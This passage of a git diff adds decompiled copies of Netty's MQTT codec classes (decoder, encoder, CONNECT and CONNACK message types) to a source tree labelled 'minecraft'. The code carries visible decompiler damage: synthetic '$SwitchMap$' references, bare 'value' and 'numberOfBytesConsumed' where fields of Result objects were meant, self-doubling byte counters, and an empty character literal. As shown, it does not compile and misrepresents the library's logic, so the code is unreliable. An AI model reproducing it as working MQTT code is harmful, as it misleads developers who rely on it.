+      if ((mqttFixedHeader.isDup()) || (mqttFixedHeader.qosLevel() != MqttQoS.AT_MOST_ONCE) || (mqttFixedHeader.isRetain()))
+      {
+
+        return new MqttFixedHeader(mqttFixedHeader.messageType(), false, MqttQoS.AT_MOST_ONCE, false, mqttFixedHeader.remainingLength());
+      }
+      
+
+
+
+
+      return mqttFixedHeader;
+    case 1: 
+    case 2: 
+    case 3: 
+      if (mqttFixedHeader.isRetain()) {
+        return new MqttFixedHeader(mqttFixedHeader.messageType(), mqttFixedHeader.isDup(), mqttFixedHeader.qosLevel(), false, mqttFixedHeader.remainingLength());
+      }
+      
+
+
+
+
+      return mqttFixedHeader;
+    }
+    return mqttFixedHeader;
+  }
+  
+  private MqttCodecUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckMessage.java
new file mode 100644
index 0000000..3de6dfd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckMessage.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttConnAckMessage
+  extends MqttMessage
+{
+  public MqttConnAckMessage(MqttFixedHeader mqttFixedHeader, MqttConnAckVariableHeader variableHeader)
+  {
+    super(mqttFixedHeader, variableHeader);
+  }
+  
+  public MqttConnAckVariableHeader variableHeader()
+  {
+    return (MqttConnAckVariableHeader)super.variableHeader();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckVariableHeader.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckVariableHeader.java
new file mode 100644
index 0000000..2eb6801
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnAckVariableHeader.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttConnAckVariableHeader
+{
+  private final MqttConnectReturnCode connectReturnCode;
+  private final boolean sessionPresent;
+  
+  public MqttConnAckVariableHeader(MqttConnectReturnCode connectReturnCode, boolean sessionPresent)
+  {
+    this.connectReturnCode = connectReturnCode;
+    this.sessionPresent = sessionPresent;
+  }
+  
+  public MqttConnectReturnCode connectReturnCode() {
+    return connectReturnCode;
+  }
+  
+  public boolean isSessionPresent() {
+    return sessionPresent;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "connectReturnCode=" + connectReturnCode + ", sessionPresent=" + sessionPresent + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectMessage.java
new file mode 100644
index 0000000..2a47c1d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectMessage.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttConnectMessage
+  extends MqttMessage
+{
+  public MqttConnectMessage(MqttFixedHeader mqttFixedHeader, MqttConnectVariableHeader variableHeader, MqttConnectPayload payload)
+  {
+    super(mqttFixedHeader, variableHeader, payload);
+  }
+  
+  public MqttConnectVariableHeader variableHeader()
+  {
+    return (MqttConnectVariableHeader)super.variableHeader();
+  }
+  
+  public MqttConnectPayload payload()
+  {
+    return (MqttConnectPayload)super.payload();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectPayload.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectPayload.java
new file mode 100644
index 0000000..97de021
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectPayload.java
@@ -0,0 +1,69 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttConnectPayload
+{
+  private final String clientIdentifier;
+  private final String willTopic;
+  private final String willMessage;
+  private final String userName;
+  private final String password;
+  
+  public MqttConnectPayload(String clientIdentifier, String willTopic, String willMessage, String userName, String password)
+  {
+    this.clientIdentifier = clientIdentifier;
+    this.willTopic = willTopic;
+    this.willMessage = willMessage;
+    this.userName = userName;
+    this.password = password;
+  }
+  
+  public String clientIdentifier() {
+    return clientIdentifier;
+  }
+  
+  public String willTopic() {
+    return willTopic;
+  }
+  
+  public String willMessage() {
+    return willMessage;
+  }
+  
+  public String userName() {
+    return userName;
+  }
+  
+  public String password() {
+    return password;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "clientIdentifier=" + clientIdentifier + ", willTopic=" + willTopic + ", willMessage=" + willMessage + ", userName=" + userName + ", password=" + password + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectReturnCode.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectReturnCode.java
new file mode 100644
index 0000000..7d96aea
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectReturnCode.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.mqtt;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum MqttConnectReturnCode
+{
+  CONNECTION_ACCEPTED((byte)0), 
+  CONNECTION_REFUSED_UNACCEPTABLE_PROTOCOL_VERSION((byte)1), 
+  CONNECTION_REFUSED_IDENTIFIER_REJECTED((byte)2), 
+  CONNECTION_REFUSED_SERVER_UNAVAILABLE((byte)3), 
+  CONNECTION_REFUSED_BAD_USER_NAME_OR_PASSWORD((byte)4), 
+  CONNECTION_REFUSED_NOT_AUTHORIZED((byte)5);
+  
+  private static final Map<Byte, MqttConnectReturnCode> VALUE_TO_CODE_MAP;
+  private final byte byteValue;
+  
+  static { Map<Byte, MqttConnectReturnCode> valueMap = new HashMap();
+    for (MqttConnectReturnCode code : values()) {
+      valueMap.put(Byte.valueOf(byteValue), code);
+    }
+    VALUE_TO_CODE_MAP = Collections.unmodifiableMap(valueMap);
+  }
+  
+
+  private MqttConnectReturnCode(byte byteValue)
+  {
+    this.byteValue = byteValue;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public static MqttConnectReturnCode valueOf(byte b) {
+    if (VALUE_TO_CODE_MAP.containsKey(Byte.valueOf(b))) {
+      return (MqttConnectReturnCode)VALUE_TO_CODE_MAP.get(Byte.valueOf(b));
+    }
+    throw new IllegalArgumentException("unknown connect return code: " + (b & 0xFF));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectVariableHeader.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectVariableHeader.java
new file mode 100644
index 0000000..56e7550
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttConnectVariableHeader.java
@@ -0,0 +1,97 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttConnectVariableHeader
+{
+  private final String name;
+  private final int version;
+  private final boolean hasUserName;
+  private final boolean hasPassword;
+  private final boolean isWillRetain;
+  private final int willQos;
+  private final boolean isWillFlag;
+  private final boolean isCleanSession;
+  private final int keepAliveTimeSeconds;
+  
+  public MqttConnectVariableHeader(String name, int version, boolean hasUserName, boolean hasPassword, boolean isWillRetain, int willQos, boolean isWillFlag, boolean isCleanSession, int keepAliveTimeSeconds)
+  {
+    this.name = name;
+    this.version = version;
+    this.hasUserName = hasUserName;
+    this.hasPassword = hasPassword;
+    this.isWillRetain = isWillRetain;
+    this.willQos = willQos;
+    this.isWillFlag = isWillFlag;
+    this.isCleanSession = isCleanSession;
+    this.keepAliveTimeSeconds = keepAliveTimeSeconds;
+  }
+  
+  public String name() {
+    return name;
+  }
+  
+  public int version() {
+    return version;
+  }
+  
+  public boolean hasUserName() {
+    return hasUserName;
+  }
+  
+  public boolean hasPassword() {
+    return hasPassword;
+  }
+  
+  public boolean isWillRetain() {
+    return isWillRetain;
+  }
+  
+  public int willQos() {
+    return willQos;
+  }
+  
+  public boolean isWillFlag() {
+    return isWillFlag;
+  }
+  
+  public boolean isCleanSession() {
+    return isCleanSession;
+  }
+  
+  public int keepAliveTimeSeconds() {
+    return keepAliveTimeSeconds;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "name=" + name + ", version=" + version + ", hasUserName=" + hasUserName + ", hasPassword=" + hasPassword + ", isWillRetain=" + isWillRetain + ", isWillFlag=" + isWillFlag + ", isCleanSession=" + isCleanSession + ", keepAliveTimeSeconds=" + keepAliveTimeSeconds + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttDecoder.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttDecoder.java
new file mode 100644
index 0000000..05db41b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttDecoder.java
@@ -0,0 +1,475 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.CharsetUtil;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttDecoder
+  extends ReplayingDecoder<DecoderState>
+{
+  private static final int DEFAULT_MAX_BYTES_IN_MESSAGE = 8092;
+  private MqttFixedHeader mqttFixedHeader;
+  private Object variableHeader;
+  private Object payload;
+  private int bytesRemainingInVariablePart;
+  private final int maxBytesInMessage;
+  
+  static enum DecoderState
+  {
+    READ_FIXED_HEADER, 
+    READ_VARIABLE_HEADER, 
+    READ_PAYLOAD, 
+    BAD_MESSAGE;
+    
+
+
+    private DecoderState() {}
+  }
+  
+
+
+  public MqttDecoder()
+  {
+    this(8092);
+  }
+  
+  public MqttDecoder(int maxBytesInMessage) {
+    super(DecoderState.READ_FIXED_HEADER);
+    this.maxBytesInMessage = maxBytesInMessage;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf buffer, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttDecoder$DecoderState[((DecoderState)state()).ordinal()]) {
+    case 1: 
+      mqttFixedHeader = decodeFixedHeader(buffer);
+      bytesRemainingInVariablePart = mqttFixedHeader.remainingLength();
+      checkpoint(DecoderState.READ_VARIABLE_HEADER);
+    case 2: 
+      try
+      {
+        if (bytesRemainingInVariablePart > maxBytesInMessage) {
+          throw new DecoderException("too large message: " + bytesRemainingInVariablePart + " bytes");
+        }
+        Result<?> decodedVariableHeader = decodeVariableHeader(buffer, mqttFixedHeader);
+        variableHeader = value;
+        bytesRemainingInVariablePart -= numberOfBytesConsumed;
+        checkpoint(DecoderState.READ_PAYLOAD);
+      }
+      catch (Exception cause) {
+        out.add(invalidMessage(cause));
+        return;
+      }
+    case 3: 
+      try {
+        Result<?> decodedPayload = decodePayload(buffer, mqttFixedHeader.messageType(), bytesRemainingInVariablePart, variableHeader);
+        
+
+
+
+
+        payload = value;
+        bytesRemainingInVariablePart -= numberOfBytesConsumed;
+        if (bytesRemainingInVariablePart != 0) {
+          throw new DecoderException("non-zero remaining payload bytes: " + bytesRemainingInVariablePart + " (" + mqttFixedHeader.messageType() + ')');
+        }
+        
+
+        checkpoint(DecoderState.READ_FIXED_HEADER);
+        MqttMessage message = MqttMessageFactory.newMessage(mqttFixedHeader, variableHeader, payload);
+        mqttFixedHeader = null;
+        variableHeader = null;
+        payload = null;
+        out.add(message);
+      }
+      catch (Exception cause) {
+        out.add(invalidMessage(cause));
+        return;
+      }
+    
+
+    case 4: 
+      buffer.skipBytes(actualReadableBytes());
+      break;
+    }
+    
+    
+    throw new Error();
+  }
+  
+  private MqttMessage invalidMessage(Throwable cause)
+  {
+    checkpoint(DecoderState.BAD_MESSAGE);
+    return MqttMessageFactory.newInvalidMessage(cause);
+  }
+  
+
+
+
+
+
+  private static MqttFixedHeader decodeFixedHeader(ByteBuf buffer)
+  {
+    short b1 = buffer.readUnsignedByte();
+    
+    MqttMessageType messageType = MqttMessageType.valueOf(b1 >> 4);
+    boolean dupFlag = (b1 & 0x8) == 8;
+    int qosLevel = (b1 & 0x6) >> 1;
+    boolean retain = (b1 & 0x1) != 0;
+    
+    int remainingLength = 0;
+    int multiplier = 1;
+    
+    int loops = 0;
+    short digit;
+    do { digit = buffer.readUnsignedByte();
+      remainingLength += (digit & 0x7F) * multiplier;
+      multiplier *= 128;
+      loops++;
+    } while (((digit & 0x80) != 0) && (loops < 4));
+    
+
+    if ((loops == 4) && ((digit & 0x80) != 0)) {
+      throw new DecoderException("remaining length exceeds 4 digits (" + messageType + ')');
+    }
+    MqttFixedHeader decodedFixedHeader = new MqttFixedHeader(messageType, dupFlag, MqttQoS.valueOf(qosLevel), retain, remainingLength);
+    
+    return MqttCodecUtil.validateFixedHeader(MqttCodecUtil.resetUnusedFields(decodedFixedHeader));
+  }
+  
+
+
+
+
+
+  private static Result<?> decodeVariableHeader(ByteBuf buffer, MqttFixedHeader mqttFixedHeader)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[mqttFixedHeader.messageType().ordinal()]) {
+    case 1: 
+      return decodeConnectionVariableHeader(buffer);
+    
+    case 2: 
+      return decodeConnAckVariableHeader(buffer);
+    
+    case 3: 
+    case 4: 
+    case 5: 
+    case 6: 
+    case 7: 
+    case 8: 
+    case 9: 
+    case 10: 
+      return decodeMessageIdVariableHeader(buffer);
+    
+    case 11: 
+      return decodePublishVariableHeader(buffer, mqttFixedHeader);
+    
+
+    case 12: 
+    case 13: 
+    case 14: 
+      return new Result(null, 0);
+    }
+    return new Result(null, 0);
+  }
+  
+  private static Result<MqttConnectVariableHeader> decodeConnectionVariableHeader(ByteBuf buffer) {
+    Result<String> protoString = decodeString(buffer);
+    int numberOfBytesConsumed = numberOfBytesConsumed;
+    
+    byte protocolLevel = buffer.readByte();
+    numberOfBytesConsumed++;
+    
+    MqttVersion mqttVersion = MqttVersion.fromProtocolNameAndLevel((String)value, protocolLevel);
+    
+    int b1 = buffer.readUnsignedByte();
+    numberOfBytesConsumed++;
+    
+    Result<Integer> keepAlive = decodeMsbLsb(buffer);
+    numberOfBytesConsumed += numberOfBytesConsumed;
+    
+    boolean hasUserName = (b1 & 0x80) == 128;
+    boolean hasPassword = (b1 & 0x40) == 64;
+    boolean willRetain = (b1 & 0x20) == 32;
+    int willQos = (b1 & 0x18) >> 3;
+    boolean willFlag = (b1 & 0x4) == 4;
+    boolean cleanSession = (b1 & 0x2) == 2;
+    if (mqttVersion == MqttVersion.MQTT_3_1_1) {
+      boolean zeroReservedFlag = (b1 & 0x1) == 0;
+      if (!zeroReservedFlag)
+      {
+
+
+        throw new DecoderException("non-zero reserved flag");
+      }
+    }
+    
+    MqttConnectVariableHeader mqttConnectVariableHeader = new MqttConnectVariableHeader(mqttVersion.protocolName(), mqttVersion.protocolLevel(), hasUserName, hasPassword, willRetain, willQos, willFlag, cleanSession, ((Integer)value).intValue());
+    
+
+
+
+
+
+
+
+
+    return new Result(mqttConnectVariableHeader, numberOfBytesConsumed);
+  }
+  
+  private static Result<MqttConnAckVariableHeader> decodeConnAckVariableHeader(ByteBuf buffer) {
+    boolean sessionPresent = (buffer.readUnsignedByte() & 0x1) == 1;
+    byte returnCode = buffer.readByte();
+    int numberOfBytesConsumed = 2;
+    MqttConnAckVariableHeader mqttConnAckVariableHeader = new MqttConnAckVariableHeader(MqttConnectReturnCode.valueOf(returnCode), sessionPresent);
+    
+    return new Result(mqttConnAckVariableHeader, 2);
+  }
+  
+  private static Result<MqttMessageIdVariableHeader> decodeMessageIdVariableHeader(ByteBuf buffer) {
+    Result<Integer> messageId = decodeMessageId(buffer);
+    return new Result(MqttMessageIdVariableHeader.from(((Integer)value).intValue()), numberOfBytesConsumed);
+  }
+  
+
+
+
+  private static Result<MqttPublishVariableHeader> decodePublishVariableHeader(ByteBuf buffer, MqttFixedHeader mqttFixedHeader)
+  {
+    Result<String> decodedTopic = decodeString(buffer);
+    if (!MqttCodecUtil.isValidPublishTopicName((String)value)) {
+      throw new DecoderException("invalid publish topic name: " + (String)value + " (contains wildcards)");
+    }
+    int numberOfBytesConsumed = numberOfBytesConsumed;
+    
+    int messageId = -1;
+    if (mqttFixedHeader.qosLevel().value() > 0) {
+      Result<Integer> decodedMessageId = decodeMessageId(buffer);
+      messageId = ((Integer)value).intValue();
+      numberOfBytesConsumed += numberOfBytesConsumed;
+    }
+    MqttPublishVariableHeader mqttPublishVariableHeader = new MqttPublishVariableHeader((String)value, messageId);
+    
+    return new Result(mqttPublishVariableHeader, numberOfBytesConsumed);
+  }
+  
+  private static Result<Integer> decodeMessageId(ByteBuf buffer) {
+    Result<Integer> messageId = decodeMsbLsb(buffer);
+    if (!MqttCodecUtil.isValidMessageId(((Integer)value).intValue())) {
+      throw new DecoderException("invalid messageId: " + value);
+    }
+    return messageId;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static Result<?> decodePayload(ByteBuf buffer, MqttMessageType messageType, int bytesRemainingInVariablePart, Object variableHeader)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[messageType.ordinal()]) {
+    case 1: 
+      return decodeConnectionPayload(buffer, (MqttConnectVariableHeader)variableHeader);
+    
+    case 3: 
+      return decodeSubscribePayload(buffer, bytesRemainingInVariablePart);
+    
+    case 5: 
+      return decodeSubackPayload(buffer, bytesRemainingInVariablePart);
+    
+    case 4: 
+      return decodeUnsubscribePayload(buffer, bytesRemainingInVariablePart);
+    
+    case 11: 
+      return decodePublishPayload(buffer, bytesRemainingInVariablePart);
+    }
+    
+    
+    return new Result(null, 0);
+  }
+  
+
+
+  private static Result<MqttConnectPayload> decodeConnectionPayload(ByteBuf buffer, MqttConnectVariableHeader mqttConnectVariableHeader)
+  {
+    Result<String> decodedClientId = decodeString(buffer);
+    String decodedClientIdValue = (String)value;
+    MqttVersion mqttVersion = MqttVersion.fromProtocolNameAndLevel(mqttConnectVariableHeader.name(), (byte)mqttConnectVariableHeader.version());
+    
+    if (!MqttCodecUtil.isValidClientId(mqttVersion, decodedClientIdValue)) {
+      throw new MqttIdentifierRejectedException("invalid clientIdentifier: " + decodedClientIdValue);
+    }
+    int numberOfBytesConsumed = numberOfBytesConsumed;
+    
+    Result<String> decodedWillTopic = null;
+    Result<String> decodedWillMessage = null;
+    if (mqttConnectVariableHeader.isWillFlag()) {
+      decodedWillTopic = decodeString(buffer, 0, 32767);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+      decodedWillMessage = decodeAsciiString(buffer);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+    }
+    Result<String> decodedUserName = null;
+    Result<String> decodedPassword = null;
+    if (mqttConnectVariableHeader.hasUserName()) {
+      decodedUserName = decodeString(buffer);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+    }
+    if (mqttConnectVariableHeader.hasPassword()) {
+      decodedPassword = decodeString(buffer);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+    }
+    
+    MqttConnectPayload mqttConnectPayload = new MqttConnectPayload((String)value, decodedWillTopic != null ? (String)value : null, decodedWillMessage != null ? (String)value : null, decodedUserName != null ? (String)value : null, decodedPassword != null ? (String)value : null);
+    
+
+
+
+
+
+    return new Result(mqttConnectPayload, numberOfBytesConsumed);
+  }
+  
+
+  private static Result<MqttSubscribePayload> decodeSubscribePayload(ByteBuf buffer, int bytesRemainingInVariablePart)
+  {
+    List<MqttTopicSubscription> subscribeTopics = new ArrayList();
+    int numberOfBytesConsumed = 0;
+    while (numberOfBytesConsumed < bytesRemainingInVariablePart) {
+      Result<String> decodedTopicName = decodeString(buffer);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+      int qos = buffer.readUnsignedByte() & 0x3;
+      numberOfBytesConsumed++;
+      subscribeTopics.add(new MqttTopicSubscription((String)value, MqttQoS.valueOf(qos)));
+    }
+    return new Result(new MqttSubscribePayload(subscribeTopics), numberOfBytesConsumed);
+  }
+  
+
+  private static Result<MqttSubAckPayload> decodeSubackPayload(ByteBuf buffer, int bytesRemainingInVariablePart)
+  {
+    List<Integer> grantedQos = new ArrayList();
+    int numberOfBytesConsumed = 0;
+    while (numberOfBytesConsumed < bytesRemainingInVariablePart) {
+      int qos = buffer.readUnsignedByte() & 0x3;
+      numberOfBytesConsumed++;
+      grantedQos.add(Integer.valueOf(qos));
+    }
+    return new Result(new MqttSubAckPayload(grantedQos), numberOfBytesConsumed);
+  }
+  
+
+  private static Result<MqttUnsubscribePayload> decodeUnsubscribePayload(ByteBuf buffer, int bytesRemainingInVariablePart)
+  {
+    List<String> unsubscribeTopics = new ArrayList();
+    int numberOfBytesConsumed = 0;
+    while (numberOfBytesConsumed < bytesRemainingInVariablePart) {
+      Result<String> decodedTopicName = decodeString(buffer);
+      numberOfBytesConsumed += numberOfBytesConsumed;
+      unsubscribeTopics.add(value);
+    }
+    return new Result(new MqttUnsubscribePayload(unsubscribeTopics), numberOfBytesConsumed);
+  }
+  
+
+  private static Result<ByteBuf> decodePublishPayload(ByteBuf buffer, int bytesRemainingInVariablePart)
+  {
+    ByteBuf b = buffer.readRetainedSlice(bytesRemainingInVariablePart);
+    return new Result(b, bytesRemainingInVariablePart);
+  }
+  
+  private static Result<String> decodeString(ByteBuf buffer) {
+    return decodeString(buffer, 0, Integer.MAX_VALUE);
+  }
+  
+  private static Result<String> decodeAsciiString(ByteBuf buffer) {
+    Result<String> result = decodeString(buffer, 0, Integer.MAX_VALUE);
+    String s = (String)value;
+    for (int i = 0; i < s.length(); i++) {
+      if (s.charAt(i) > '') {
+        return new Result(null, numberOfBytesConsumed);
+      }
+    }
+    return new Result(s, numberOfBytesConsumed);
+  }
+  
+  private static Result<String> decodeString(ByteBuf buffer, int minBytes, int maxBytes) {
+    Result<Integer> decodedSize = decodeMsbLsb(buffer);
+    int size = ((Integer)value).intValue();
+    int numberOfBytesConsumed = numberOfBytesConsumed;
+    if ((size < minBytes) || (size > maxBytes)) {
+      buffer.skipBytes(size);
+      numberOfBytesConsumed += size;
+      return new Result(null, numberOfBytesConsumed);
+    }
+    String s = buffer.toString(buffer.readerIndex(), size, CharsetUtil.UTF_8);
+    buffer.skipBytes(size);
+    numberOfBytesConsumed += size;
+    return new Result(s, numberOfBytesConsumed);
+  }
+  
+  private static Result<Integer> decodeMsbLsb(ByteBuf buffer) {
+    return decodeMsbLsb(buffer, 0, 65535);
+  }
+  
+  private static Result<Integer> decodeMsbLsb(ByteBuf buffer, int min, int max) {
+    short msbSize = buffer.readUnsignedByte();
+    short lsbSize = buffer.readUnsignedByte();
+    int numberOfBytesConsumed = 2;
+    int result = msbSize << 8 | lsbSize;
+    if ((result < min) || (result > max)) {
+      result = -1;
+    }
+    return new Result(Integer.valueOf(result), 2);
+  }
+  
+  private static final class Result<T>
+  {
+    private final T value;
+    private final int numberOfBytesConsumed;
+    
+    Result(T value, int numberOfBytesConsumed) {
+      this.value = value;
+      this.numberOfBytesConsumed = numberOfBytesConsumed;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttEncoder.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttEncoder.java
new file mode 100644
index 0000000..fdfe12c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttEncoder.java
@@ -0,0 +1,391 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.EmptyArrays;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public final class MqttEncoder
+  extends MessageToMessageEncoder<MqttMessage>
+{
+  public static final MqttEncoder INSTANCE = new MqttEncoder();
+  
+  private MqttEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, MqttMessage msg, List<Object> out) throws Exception
+  {
+    out.add(doEncode(ctx.alloc(), msg));
+  }
+  
+
+
+
+
+
+
+
+
+  static ByteBuf doEncode(ByteBufAllocator byteBufAllocator, MqttMessage message)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[message.fixedHeader().messageType().ordinal()]) {
+    case 1: 
+      return encodeConnectMessage(byteBufAllocator, (MqttConnectMessage)message);
+    
+    case 2: 
+      return encodeConnAckMessage(byteBufAllocator, (MqttConnAckMessage)message);
+    
+    case 3: 
+      return encodePublishMessage(byteBufAllocator, (MqttPublishMessage)message);
+    
+    case 4: 
+      return encodeSubscribeMessage(byteBufAllocator, (MqttSubscribeMessage)message);
+    
+    case 5: 
+      return encodeUnsubscribeMessage(byteBufAllocator, (MqttUnsubscribeMessage)message);
+    
+    case 6: 
+      return encodeSubAckMessage(byteBufAllocator, (MqttSubAckMessage)message);
+    
+    case 7: 
+    case 8: 
+    case 9: 
+    case 10: 
+    case 11: 
+      return encodeMessageWithOnlySingleByteFixedHeaderAndMessageId(byteBufAllocator, message);
+    
+    case 12: 
+    case 13: 
+    case 14: 
+      return encodeMessageWithOnlySingleByteFixedHeader(byteBufAllocator, message);
+    }
+    
+    throw new IllegalArgumentException("Unknown message type: " + message.fixedHeader().messageType().value());
+  }
+  
+
+
+
+  private static ByteBuf encodeConnectMessage(ByteBufAllocator byteBufAllocator, MqttConnectMessage message)
+  {
+    int payloadBufferSize = 0;
+    
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    MqttConnectVariableHeader variableHeader = message.variableHeader();
+    MqttConnectPayload payload = message.payload();
+    MqttVersion mqttVersion = MqttVersion.fromProtocolNameAndLevel(variableHeader.name(), (byte)variableHeader.version());
+    
+
+
+    String clientIdentifier = payload.clientIdentifier();
+    if (!MqttCodecUtil.isValidClientId(mqttVersion, clientIdentifier)) {
+      throw new MqttIdentifierRejectedException("invalid clientIdentifier: " + clientIdentifier);
+    }
+    byte[] clientIdentifierBytes = encodeStringUtf8(clientIdentifier);
+    payloadBufferSize += 2 + clientIdentifierBytes.length;
+    
+
+    String willTopic = payload.willTopic();
+    byte[] willTopicBytes = willTopic != null ? encodeStringUtf8(willTopic) : EmptyArrays.EMPTY_BYTES;
+    String willMessage = payload.willMessage();
+    byte[] willMessageBytes = willMessage != null ? encodeStringUtf8(willMessage) : EmptyArrays.EMPTY_BYTES;
+    if (variableHeader.isWillFlag()) {
+      payloadBufferSize += 2 + willTopicBytes.length;
+      payloadBufferSize += 2 + willMessageBytes.length;
+    }
+    
+    String userName = payload.userName();
+    byte[] userNameBytes = userName != null ? encodeStringUtf8(userName) : EmptyArrays.EMPTY_BYTES;
+    if (variableHeader.hasUserName()) {
+      payloadBufferSize += 2 + userNameBytes.length;
+    }
+    
+    String password = payload.password();
+    byte[] passwordBytes = password != null ? encodeStringUtf8(password) : EmptyArrays.EMPTY_BYTES;
+    if (variableHeader.hasPassword()) {
+      payloadBufferSize += 2 + passwordBytes.length;
+    }
+    
+
+    byte[] protocolNameBytes = mqttVersion.protocolNameBytes();
+    int variableHeaderBufferSize = 2 + protocolNameBytes.length + 4;
+    int variablePartSize = variableHeaderBufferSize + payloadBufferSize;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variablePartSize);
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variablePartSize);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    writeVariableLengthInt(buf, variablePartSize);
+    
+    buf.writeShort(protocolNameBytes.length);
+    buf.writeBytes(protocolNameBytes);
+    
+    buf.writeByte(variableHeader.version());
+    buf.writeByte(getConnVariableHeaderFlag(variableHeader));
+    buf.writeShort(variableHeader.keepAliveTimeSeconds());
+    
+
+    buf.writeShort(clientIdentifierBytes.length);
+    buf.writeBytes(clientIdentifierBytes, 0, clientIdentifierBytes.length);
+    if (variableHeader.isWillFlag()) {
+      buf.writeShort(willTopicBytes.length);
+      buf.writeBytes(willTopicBytes, 0, willTopicBytes.length);
+      buf.writeShort(willMessageBytes.length);
+      buf.writeBytes(willMessageBytes, 0, willMessageBytes.length);
+    }
+    if (variableHeader.hasUserName()) {
+      buf.writeShort(userNameBytes.length);
+      buf.writeBytes(userNameBytes, 0, userNameBytes.length);
+    }
+    if (variableHeader.hasPassword()) {
+      buf.writeShort(passwordBytes.length);
+      buf.writeBytes(passwordBytes, 0, passwordBytes.length);
+    }
+    return buf;
+  }
+  
+  private static int getConnVariableHeaderFlag(MqttConnectVariableHeader variableHeader) {
+    int flagByte = 0;
+    if (variableHeader.hasUserName()) {
+      flagByte |= 0x80;
+    }
+    if (variableHeader.hasPassword()) {
+      flagByte |= 0x40;
+    }
+    if (variableHeader.isWillRetain()) {
+      flagByte |= 0x20;
+    }
+    flagByte |= (variableHeader.willQos() & 0x3) << 3;
+    if (variableHeader.isWillFlag()) {
+      flagByte |= 0x4;
+    }
+    if (variableHeader.isCleanSession()) {
+      flagByte |= 0x2;
+    }
+    return flagByte;
+  }
+  
+
